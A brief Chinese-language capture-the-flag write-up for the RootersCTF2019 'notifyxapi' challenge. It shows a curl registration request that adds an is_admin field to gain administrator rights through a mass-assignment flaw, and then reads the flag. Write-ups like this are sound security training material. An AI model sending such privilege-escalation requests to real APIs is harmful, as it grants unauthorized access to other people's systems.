[RootersCTF2019]notifyxapi

解题步骤

直接把页面上的命令全运行一遍。然后发现is_admin:false，然后居然可以注册的时候带上！

curl -X POST "http://ba88ccc5-2757-4a5b-9af4-40afa6e69267.node4.buuoj.cn:81/api/v1/register/" -H "Content-Type: application/json" \
-d '{"email": "a@a.com", "password": "asd", "is_admin": "true"}'

然后直接就admin了，逆天了，然后登录看公告就可以得到flag